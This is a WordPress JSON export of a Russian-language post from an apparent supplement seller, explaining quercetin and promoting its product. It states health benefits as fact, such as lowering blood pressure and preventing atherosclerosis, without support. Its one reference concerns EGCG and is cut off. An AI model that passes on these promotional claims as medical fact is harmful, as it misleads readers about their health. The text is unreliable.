{"id":4657,"date":"2024-01-16T16:51:06","date_gmt":"2024-01-16T08:51:06","guid":{"rendered":"https:\/\/www.backvita.com\/?p=4657"},"modified":"2024-04-12T23:59:11","modified_gmt":"2024-04-12T15:59:11","slug":"what-is-quercetin","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ru\/\u0447\u0442\u043e-\u0442\u0430\u043a\u043e\u0435-\u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\/","title":{"rendered":"\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d?"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-fe389f7\" data-block-id=\"fe389f7\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3532\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp\" width=\"810\" height=\"455\" alt=\"\u041a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0432\u0430\u0448\u0435\u0433\u043e \u0432\u043e\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp 810w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-300x169.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-768x431.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-600x337.webp 600w\" sizes=\"(max-width: 810px) 100vw, 810px\" \/><\/figure><\/div>\n\n\n\n<p><a href=\"https:\/\/www.backvita.com\/ru\/\u043f\u0440\u043e\u0434\u0443\u043a\u0442\/sophora-japonica-extract-quercetin\/\">\u041a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d<\/a>  \u041f\u043e\u043b\u044c\u0437\u0430 - \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0439 \u0432 \u0440\u0430\u0441\u0442\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c \u0446\u0430\u0440\u0441\u0442\u0432\u0435 \u0431\u0438\u043e\u0444\u043b\u0430\u0432\u043e\u043d\u043e\u0438\u0434. \u042d\u0442\u043e \u043f\u043e\u043b\u0438\u0444\u0435\u043d\u043e\u043b, \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0441\u043d\u043e\u0432\u0443 \u043c\u043d\u043e\u0433\u0438\u0445 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0440\u0430\u0441\u0442\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0438\u0433\u043c\u0435\u043d\u0442\u043e\u0432.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u041a\u0430\u043a\u043e\u0432\u044b \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0430 <a href=\"https:\/\/www.backvita.com\/ru\/the-efficacy-of-quercetin\/\">\u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d<\/a>?<\/h2>\n\n\n\n<p>\u041a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d \u043f\u0440\u0438\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u043b\u044c\u0437\u0443 \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0434\u043e\u0440\u043e\u0432\u044c\u044e?<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0410\u043d\u0442\u0438\u043e\u043a\u0441\u0438\u0434\u0430\u043d\u0442<\/h3>\n\n\n\n<p><a href=\"https:\/\/www.backvita.com\/ru\/\u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d-\u0437\u0430-\u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438-\u0432\u0430\u0448\u0435\u0433\u043e-\u0432\u043e\u043e\u0431\u0440\u0430\/\">\u041a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d<\/a> \u044d\u0442\u043e \u0430\u043d\u0442\u0438\u043e\u043a\u0441\u0438\u0434\u0430\u043d\u0442, \u0447\u044c\u044f \u0430\u043d\u0442\u0438\u043e\u043a\u0441\u0438\u0434\u0430\u043d\u0442\u043d\u0430\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 50 \u0440\u0430\u0437 \u0432\u044b\u0448\u0435, \u0447\u0435\u043c \u0443 \u0432\u0438\u0442\u0430\u043c\u0438\u043d\u0430 \u0415, \u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 20 \u0440\u0430\u0437 \u0432\u044b\u0448\u0435, \u0447\u0435\u043c \u0443 \u0432\u0438\u0442\u0430\u043c\u0438\u043d\u0430 \u0421.<\/p>\n\n\n\n<p>\u041e\u043d \u043c\u043e\u0436\u0435\u0442 \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0430\u0442\u044c \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0435 \u0440\u0430\u0434\u0438\u043a\u0430\u043b\u044b \u0442\u0440\u0435\u043c\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c\u0438:<\/p>\n\n\n\n<p>1) \u041e\u0447\u0438\u0441\u0442\u0438\u0442\u0435 \u0435\u0433\u043e \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0441\u0430\u043c\u0438<\/p>\n\n\n\n<p>2) \u0424\u0435\u0440\u043c\u0435\u043d\u0442\u0430\u043c\u0438, \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0430\u044e\u0449\u0438\u043c\u0438 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0435 \u0440\u0430\u0434\u0438\u043a\u0430\u043b\u044b<\/p>\n\n\n\n<p>3) \u0418\u043d\u0433\u0438\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u044b\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0445 \u0440\u0430\u0434\u0438\u043a\u0430\u043b\u043e\u0432<\/p>\n\n\n\n<p>\u041f\u0440\u043e\u0449\u0435 \u0433\u043e\u0432\u043e\u0440\u044f, \u044d\u0442\u043e \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0445 \u0440\u0430\u0434\u0438\u043a\u0430\u043b\u043e\u0432 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e; \u0443\u043d\u0438\u0447\u0442\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0445 \u0440\u0430\u0434\u0438\u043a\u0430\u043b\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0434\u0440\u0443\u0433\u0438\u0445; \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0445 \u0440\u0430\u0434\u0438\u043a\u0430\u043b\u043e\u0432 \u0432 \u0442\u043a\u0430\u043d\u044f\u0445.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u041a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0431\u043e\u0440\u043e\u0442\u044c\u0441\u044f \u0441 \u0432\u043e\u0441\u043f\u0430\u043b\u0435\u043d\u0438\u0435\u043c.<\/h2>\n\n\n\n<p><a href=\"https:\/\/www.backvita.com\/ru\/quercetin-and-health\/\">\u041a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d <\/a>\u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0432\u043e\u0441\u043f\u0430\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0430\u0432\u043b\u044f\u044e\u0442 \u0432\u043e\u0441\u043f\u0430\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0440\u0435\u0430\u043a\u0446\u0438\u044e \u0438 \u0432\u044b\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043c\u0435\u0434\u0438\u0430\u0442\u043e\u0440\u043e\u0432 \u0432\u043e\u0441\u043f\u0430\u043b\u0435\u043d\u0438\u044f. \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u0434\u043b\u044f \u0443\u043c\u0435\u043d\u044c\u0448\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u043f\u0442\u043e\u043c\u043e\u0432 \u0432\u043e\u0441\u043f\u0430\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0431\u043e\u043b\u0435\u0432\u0430\u043d\u0438\u0439 \u0438 \u0431\u043e\u043b\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u0432\u043e\u0441\u043f\u0430\u043b\u0435\u043d\u0438\u0435\u043c, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0430\u0440\u0442\u0440\u0438\u0442, \u0432\u043e\u0441\u043f\u0430\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u0431\u043e\u043b\u0435\u0432\u0430\u043d\u0438\u044f \u043a\u0438\u0448\u0435\u0447\u043d\u0438\u043a\u0430 \u0438 \u0430\u043b\u043b\u0435\u0440\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0437\u0430\u0431\u043e\u043b\u0435\u0432\u0430\u043d\u0438\u044f.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0418\u043c\u043c\u0443\u043d\u043d\u0430\u044f \u0440\u0435\u0433\u0443\u043b\u044f\u0446\u0438\u044f<\/h3>\n\n\n\n<p><a href=\"https:\/\/www.backvita.com\/ru\/10-\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432-\u0431\u043e\u0433\u0430\u0442\u044b\u0445-\u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u043e\u043c\/\">\u041a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d <\/a>\u043c\u043e\u0436\u0435\u0442 \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438\u043c\u043c\u0443\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0443\u043a\u0440\u0435\u043f\u043b\u044f\u0442\u044c \u0438\u043c\u043c\u0443\u043d\u0438\u0442\u0435\u0442 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0430. \u041e\u043d \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u043e\u043f\u0440\u043e\u0442\u0438\u0432\u043b\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c\u0430, \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u043c\u0443\u043d\u043d\u044b\u0445 \u043a\u043b\u0435\u0442\u043e\u043a \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044e \u0438\u043c\u043c\u0443\u043d\u043d\u044b\u0445 \u043a\u043b\u0435\u0442\u043e\u043a, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u044f \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u0438\u043d\u0444\u0435\u043a\u0446\u0438\u0439 \u0438 \u0431\u043e\u043b\u0435\u0437\u043d\u0435\u0439.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0417\u0430\u0449\u0438\u0442\u0430 \u0441\u043e\u0441\u0443\u0434\u043e\u0432<\/h3>\n\n\n\n<p><a href=\"https:\/\/www.backvita.com\/ru\/preparation-method-of-quercetin-from-sophora-japonica-extract\/\">\u041a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d<\/a> \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u0434\u043b\u044f \u0437\u0434\u043e\u0440\u043e\u0432\u044c\u044f \u0441\u0435\u0440\u0434\u0435\u0447\u043d\u043e-\u0441\u043e\u0441\u0443\u0434\u0438\u0441\u0442\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u041e\u043d \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0441\u043d\u0438\u0436\u0430\u0442\u044c \u043a\u0440\u043e\u0432\u044f\u043d\u043e\u0435 \u0434\u0430\u0432\u043b\u0435\u043d\u0438\u0435, \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043b\u0438\u043f\u0438\u0434\u043e\u0432 \u0432 \u043a\u0440\u043e\u0432\u0438, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0443\u043c\u0435\u043d\u044c\u0448\u0430\u0442\u044c \u043e\u043a\u0438\u0441\u043b\u0435\u043d\u0438\u0435 \u0445\u043e\u043b\u0435\u0441\u0442\u0435\u0440\u0438\u043d\u0430 \u043b\u0438\u043f\u043e\u043f\u0440\u043e\u0442\u0435\u0438\u043d\u043e\u0432 \u043d\u0438\u0437\u043a\u043e\u0439 \u043f\u043b\u043e\u0442\u043d\u043e\u0441\u0442\u0438 (LDL-C), \u0438 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0430\u0442\u0435\u0440\u043e\u0441\u043a\u043b\u0435\u0440\u043e\u0437\u0430.<\/p>\n\n\n\n<p>\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0430\u0433\u0440\u0435\u0433\u0430\u0446\u0438\u0438 \u0442\u0440\u043e\u043c\u0431\u043e\u0446\u0438\u0442\u043e\u0432, \u0441\u043d\u0438\u0436\u0430\u044f \u0440\u0438\u0441\u043a \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0442\u0440\u043e\u043c\u0431\u043e\u0432.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u041f\u0440\u043e\u0442\u0438\u0432\u043e\u0430\u043b\u043b\u0435\u0440\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435<\/h3>\n\n\n\n<p>\u041a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u043f\u043e\u0434\u0430\u0432\u043b\u044f\u0442\u044c \u0430\u043b\u043b\u0435\u0440\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0440\u0435\u0430\u043a\u0446\u0438\u0438 \u0438 \u0432\u043e\u0441\u043f\u0430\u043b\u0435\u043d\u0438\u0435 \u0442\u043a\u0430\u043d\u0435\u0439, \u0443\u043c\u0435\u043d\u044c\u0448\u0430\u044f \u0441\u0438\u043c\u043f\u0442\u043e\u043c\u044b \u0430\u043b\u043b\u0435\u0440\u0433\u0438\u0438. \u041e\u043d \u043c\u043e\u0436\u0435\u0442 \u0441\u043d\u0438\u0436\u0430\u0442\u044c \u0438\u043c\u043c\u0443\u043d\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u043b\u043b\u0435\u0440\u0433\u0435\u043d\u0430\u043c\u0438, \u0438 \u0443\u043c\u0435\u043d\u044c\u0448\u0430\u0442\u044c \u0432\u043e\u0441\u043f\u0430\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0440\u0435\u0430\u043a\u0446\u0438\u044e \u0442\u043a\u0430\u043d\u0435\u0439, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043e\u0431\u043b\u0435\u0433\u0447\u0430\u044f \u0441\u0438\u043c\u043f\u0442\u043e\u043c\u044b \u0430\u043b\u043b\u0435\u0440\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0437\u0430\u0431\u043e\u043b\u0435\u0432\u0430\u043d\u0438\u0439, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0440\u0438\u043d\u0438\u0442, \u0430\u0441\u0442\u043c\u0430, \u043a\u0440\u0430\u043f\u0438\u0432\u043d\u0438\u0446\u0430.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u0444\u0440\u0443\u043a\u0442, \u0431\u043e\u0433\u0430\u0442\u044b\u0439 \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u043e\u043c<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Apple<\/h3>\n\n\n\n<p>5 \u043c\u0433 \u043d\u0430 100 \u0433\u0440\u0430\u043c\u043c\u043e\u0432 (\u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u044f\u0431\u043b\u043e\u043a\u0430). \u042f\u0431\u043b\u043e\u043a\u0438 - \u044d\u0442\u043e, \u043f\u043e\u0436\u0430\u043b\u0443\u0439, \u0441\u0430\u043c\u044b\u0439 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u043f\u0438\u0442\u0430\u043d\u0438\u044f \u0438 \u0445\u043e\u0440\u043e\u0448\u0438\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u0430.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u044f\u0433\u043e\u0434\u044b<\/h3>\n\n\n\n<p>\u0412 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0441\u043e\u0440\u0442\u0430, \u0431\u043e\u0433\u0430\u0442\u0430\u044f \u0444\u043b\u0430\u0432\u043e\u043d\u043e\u0438\u0434\u0430\u043c\u0438 \u043a\u043b\u044e\u043a\u0432\u0430 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0434\u043e 22 \u043c\u0433 \u043d\u0430 100 \u0433\u0440\u0430\u043c\u043c\u043e\u0432, \u0430 \u0447\u0435\u0440\u043d\u0438\u043a\u0430 - 7-14 \u043c\u0433 \u043d\u0430 100 \u0433\u0440\u0430\u043c\u043c\u043e\u0432 (\u0447\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0434\u043d\u043e\u0439 \u0447\u0430\u0448\u043a\u0435).<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u041e\u0432\u043e\u0449\u0438, \u0431\u043e\u0433\u0430\u0442\u044b\u0435 \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u043e\u043c \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u043f\u0438\u0442\u0430\u043d\u0438\u044f, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u041a\u0440\u0430\u0441\u043d\u044b\u0439 \u043b\u0443\u043a<\/h3>\n\n\n\n<p>\u0412\u0441\u0435 \u043b\u0443\u043a\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d, \u043d\u043e \u0438\u0437-\u0437\u0430 \u0441\u0432\u043e\u0435\u0433\u043e \u043f\u0438\u0433\u043c\u0435\u043d\u0442\u0430 \u043a\u0440\u0430\u0441\u043d\u044b\u0435 \u043b\u0443\u043a\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u043b\u0430\u0432\u043e\u043d\u043e\u0438\u0434\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d. \u0421\u043f\u043e\u0441\u043e\u0431 \u043f\u0440\u0438\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u0441\u043d\u0438\u0437\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0435 \u0432\u0430\u0440\u0438\u0442\u0435 \u0438 \u043d\u0435 \u0436\u0430\u0440\u044c\u0442\u0435, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u043b\u0430\u0432\u043e\u043d\u043e\u0438\u0434\u043e\u0432 \u0438\u0437 \u044d\u0442\u0438\u0445 \u043f\u0440\u044f\u043d\u044b\u0445 \u043e\u0432\u043e\u0449\u0435\u0439.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0431\u0440\u043e\u043a\u043a\u043e\u043b\u0438<\/h3>\n\n\n\n<p>\u0411\u0440\u043e\u043a\u043a\u043e\u043b\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043a\u0440\u0435\u0441\u0442\u043e\u0446\u0432\u0435\u0442\u043d\u044b\u0435 \u043e\u0432\u043e\u0449\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0431\u043e\u0433\u0430\u0442\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0432\u0438\u0442\u0430\u043c\u0438\u043d\u043e\u0432 \u0438 \u043c\u0438\u043d\u0435\u0440\u0430\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f, \u0441\u043f\u043e\u0441\u043e\u0431\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0437\u0434\u043e\u0440\u043e\u0432\u044c\u044e \u043a\u043b\u0435\u0442\u043e\u043a, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0441\u0443\u043b\u044c\u0444\u043e\u0440\u0430\u0444\u0430\u043d \u0438 \u0438\u043d\u0434\u043e\u043b-3-\u043c\u0435\u0442\u0430\u043d\u043e\u043b.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u043a\u0430\u043f\u0443\u0441\u0442\u0430<\/h3>\n\n\n\n<p>\u041a\u0430\u043a \u0438 \u0431\u0440\u043e\u043a\u043a\u043e\u043b\u0438, \u043a\u0430\u043f\u0443\u0441\u0442\u0430 - \u044d\u0442\u043e \u043b\u0438\u0441\u0442\u043e\u0432\u043e\u0439 \u0437\u0435\u043b\u0435\u043d\u044b\u0439 \u043e\u0432\u043e\u0449, \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0439 \u0434\u043b\u044f \u0437\u0434\u043e\u0440\u043e\u0432\u044c\u044f \u043a\u043b\u0435\u0442\u043e\u043a. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043f\u0443\u0441\u0442\u0430 - \u043e\u0442\u043b\u0438\u0447\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043a\u0430\u0440\u043e\u0442\u0438\u043d\u043e\u0438\u0434\u043e\u0432 \u043b\u044e\u0442\u0435\u0438\u043d\u0430 \u0438 \u0437\u0435\u0430\u043a\u0441\u0430\u043d\u0442\u0438\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u043e\u043d\u0446\u0435\u043d\u0442\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0441\u0435\u0442\u0447\u0430\u0442\u043a\u0435 \u0433\u043b\u0430\u0437\u0430 \u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442 \u0437\u0434\u043e\u0440\u043e\u0432\u043e\u0435 \u0437\u0440\u0435\u043d\u0438\u0435.<\/p>\n\n\n\n<p>\u0412 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u043d\u0430\u0448 \u0435\u0436\u0435\u0434\u043d\u0435\u0432\u043d\u044b\u0439 \u0440\u0430\u0446\u0438\u043e\u043d \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043b\u0438\u0448\u044c 6-18 \u043c\u0433 \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u0430 \u0432 \u0434\u0435\u043d\u044c. \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0438\u0442\u0430\u043d\u0438\u0435 \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u043e\u043c \u0432 \u043e\u0431\u044b\u0447\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f, \u0447\u0442\u043e \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u043d\u043e\u0435 \u0437\u0434\u043e\u0440\u043e\u0432\u044c\u0435 \u043b\u0435\u0433\u043a\u0438\u0445! \u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u0432\u044b \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u0438\u0442\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u0449\u0435\u0441\u0442\u0432 \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u0430 \u0438\u0437 \u043d\u0430\u0442\u0443\u0440\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0432 \u043f\u043e\u0432\u0441\u0435\u0434\u043d\u0435\u0432\u043d\u043e\u0439 \u0436\u0438\u0437\u043d\u0438.<\/p>\n\n\n\n<p>\u0421\u0441\u044b\u043b\u043a\u0438:<\/p>\n\n\n\n<p>- \u0427\u0430\u043a\u0440\u0430\u0432\u0430\u0440\u0442\u0438, \u041b \u0438 \u0434\u0440. \"\u0422\u0435\u0440\u0430\u043f\u0435\u0432\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u044d\u0444\u0444\u0435\u043a\u0442 EGCG: \u043f\u0430\u0442\u0435\u043d\u0442\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0438\u0437\u0430\", \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043f\u0430\u0442\u0435\u043d\u0442\u043d\u043e\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u043e\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435, \u0432 